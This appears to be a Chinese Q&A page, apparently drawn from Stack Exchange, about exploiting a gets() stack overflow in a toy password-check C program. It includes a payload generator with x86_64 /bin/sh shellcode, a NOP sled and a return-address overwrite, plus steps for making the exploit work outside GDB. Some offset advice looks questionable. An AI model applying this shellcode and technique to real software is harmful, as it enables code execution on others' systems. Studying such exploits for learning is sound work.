基于gets的栈溢出攻击问题:仅GDB内可执行,外部运行失败
小缓冲区栈溢出攻击问题排查与解决思路
漏洞代码
#include <stdio.h> #include <string.h> int main() { /* buffer de 9 posições guarda uma string de 8 bytes + o \0 */ char buff[9]; int pass = 0; printf("\nDigite a senha: "); gets(buff); if(strcmp(buff, "admin123")) { printf ("\n[!] Errou...\n"); } else { printf ("\n[+] Senha correta!\n"); pass = 1; } if(pass) { printf ("\n*** Parabéns, você entrou no sistema! ***\n"); } return 0; }
Payload生成代码
#include <stdio.h> #include <stdlib.h> #define NOP 0x90 // 替换为无NULL字节的shellcode,避免被gets截断 unsigned char shellcode[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"; // 生成适配小缓冲区的payload int main(int argc, char** argv) { int nop_padding = 32; // 缩短NOP滑条适配小栈空间 int code_size = 23; // 新shellcode长度 int padding = 13; // 9字节buff + 4字节pass,刚好覆盖到返回地址 int eip_size = 8; // x86_64返回地址长度 int total_size = padding + eip_size + nop_padding + code_size; unsigned char* code = shellcode; unsigned char buff[total_size]; // 填充到返回地址前的空间 for(int i = 0; i < padding; i++) buff[i] = 'A'; // 写入小端序的返回地址 unsigned long long addr = strtoull(argv[1], NULL, 16); for(int i = 0; i < eip_size; i++) { buff[padding + i] = addr & 0xff; addr = addr >> 8; } // 写入NOP滑条 for(int i = 0; i < nop_padding; i++) buff[padding + eip_size + i] = NOP; // 写入shellcode for(int i = 0; i < code_size; i++) buff[padding + eip_size + nop_padding + i] = code[i]; // 输出payload for(int i = 0; i < total_size; i++) printf("%c", buff[i]); return 0; }
当前遇到的问题
- GDB调试时能触发shell生成提示,但无法看到交互shell;GDB外运行时攻击完全失效
- 已知GDB环境变量会导致栈偏移,尝试用ltrace获取缓冲区地址计算跳转位置,但每次均出现无效指令或段错误
- 缓冲区仅9字节(含后续int变量共13字节可覆盖空间),将shellcode放在main返回地址之后仅在GDB内有效
核心解决思路
1. 修复Shellcode的NULL字节问题
原shellcode中包含\x00(用于终止/bin/sh字符串),而gets函数遇到NULL字节会立即停止读取,导致后续的NOP滑条和shellcode被截断,这是攻击失效的核心原因。替换为无NULL字节的shellcode(如上述payload代码中的版本),通过push指令构造/bin//sh(双斜杠避免NULL),确保gets能完整写入整个payload。
2. 精准计算GDB内外的栈偏移
- 获取真实栈地址:临时修改漏洞代码,添加
printf("buff address: %p\n", buff);,编译后在GDB外运行一次,得到真实的缓冲区起始地址;再在GDB内运行同一程序,对比两个地址的差值,即为栈偏移量(通常GDB会使栈地址降低0x100~0x200字节,具体以实测为准)。 - 计算跳转目标地址:shellcode位于返回地址之后,所以跳转地址为
buff真实地址 + 13(填充到返回地址的长度) + 8(返回地址长度) + 16(NOP滑条中间位置,容错更高),确保地址是8字节对齐(x86_64栈要求)。
3. 优化Payload布局适配小缓冲区
缓冲区仅9字节,加上后续4字节的pass变量,总共13字节到返回地址。因此payload布局必须严格为:[13个填充字节] + [8字节返回地址] + [NOP滑条] + [shellcode]
修改payload生成代码中的padding值为13,确保填充刚好覆盖到返回地址,后续的NOP和shellcode能被gets完整写入栈中。
4. 解决GDB内无法显示shell的问题
GDB会接管程序的标准输入输出,触发shell后不会直接交互。可以通过以下方式解决:
- 运行程序时使用
run < /dev/tty,让程序使用终端的输入输出 - 触发shell后在GDB中执行
continue,然后直接输入shell命令(如ls),或按Ctrl+D退出后重新获取shell
5. 验证返回地址的正确性
避免使用ltrace获取地址,直接通过临时打印缓冲区地址的方式得到真实地址,计算跳转目标后,可在GDB中用x/20wx 跳转地址查看是否为NOP滑条,确保跳转位置正确。如果出现无效指令,检查地址是否为8字节对齐,或payload是否被截断。
内容的提问来源于stack exchange,提问作者Gabriel Lüders
相关产品推荐
相关产品推荐

